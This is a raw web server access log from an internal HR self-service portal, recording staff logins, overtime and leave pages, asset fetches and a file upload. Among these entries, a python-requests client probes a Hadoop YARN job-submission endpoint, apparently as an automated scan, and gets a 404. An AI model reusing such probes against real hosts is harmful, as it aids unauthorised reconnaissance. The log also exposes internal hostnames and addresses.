"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:16:07:34 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:16:30:28 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [29/Nov/2025:16:30:28 +0800] "GET / HTTP/1.1" 200 439 192.168.11.71 - - [29/Nov/2025:16:30:51 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:30:51 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.71 - - [29/Nov/2025:16:30:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:30:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.71 - - [29/Nov/2025:16:31:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:31:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.71 - - [29/Nov/2025:16:31:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:31:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.71 - - [29/Nov/2025:16:31:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:31:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [29/Nov/2025:16:31:50 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [29/Nov/2025:16:31:50 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:16:32:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:16:32:09 +0800] "GET / HTTP/1.1" 200 439 192.168.11.71 - - [29/Nov/2025:16:32:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8354351550496117 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:32:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8354351550496117 HTTP/1.1" 200 8456 192.168.11.71 - - [29/Nov/2025:16:32:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8354351550496117 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8354351550496117" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:32:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8354351550496117 HTTP/1.1" 200 10639 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.53 - - [29/Nov/2025:16:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.12.53 - - [29/Nov/2025:16:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.12.53 - - [29/Nov/2025:16:32:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:32:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.53 - - [29/Nov/2025:16:33:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.12.53 - - [29/Nov/2025:16:33:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.12.53 - - [29/Nov/2025:16:33:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.12.53 - - [29/Nov/2025:16:33:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.12.53 - - [29/Nov/2025:16:33:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.71 - - [29/Nov/2025:16:33:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:16:33:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.12.53 - - [29/Nov/2025:16:33:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.12.53 - - [29/Nov/2025:16:33:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 114877 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 114877 192.168.12.53 - - [29/Nov/2025:16:33:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.53 - - [29/Nov/2025:16:33:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:30 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:30 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.12.53 - - [29/Nov/2025:16:33:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45290 192.168.12.53 - - [29/Nov/2025:16:33:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45290 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:31 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.12.53 - - [29/Nov/2025:16:33:31 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:33:31 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.12.53 - - [29/Nov/2025:16:33:31 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 100.64.0.1 - - [29/Nov/2025:16:38:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:16:38:09 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:16:38:49 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [29/Nov/2025:16:38:49 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.12.53 - - [29/Nov/2025:16:40:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:40:06 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.12.53 - - [29/Nov/2025:16:40:06 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:06 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:06 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.12.53 - - [29/Nov/2025:16:40:26 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6980717028828475 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:26 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6980717028828475 HTTP/1.1" 200 5264 192.168.12.53 - - [29/Nov/2025:16:40:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6980717028828475 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6980717028828475" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:40:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6980717028828475 HTTP/1.1" 302 - 192.168.12.53 - - [29/Nov/2025:16:40:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5651 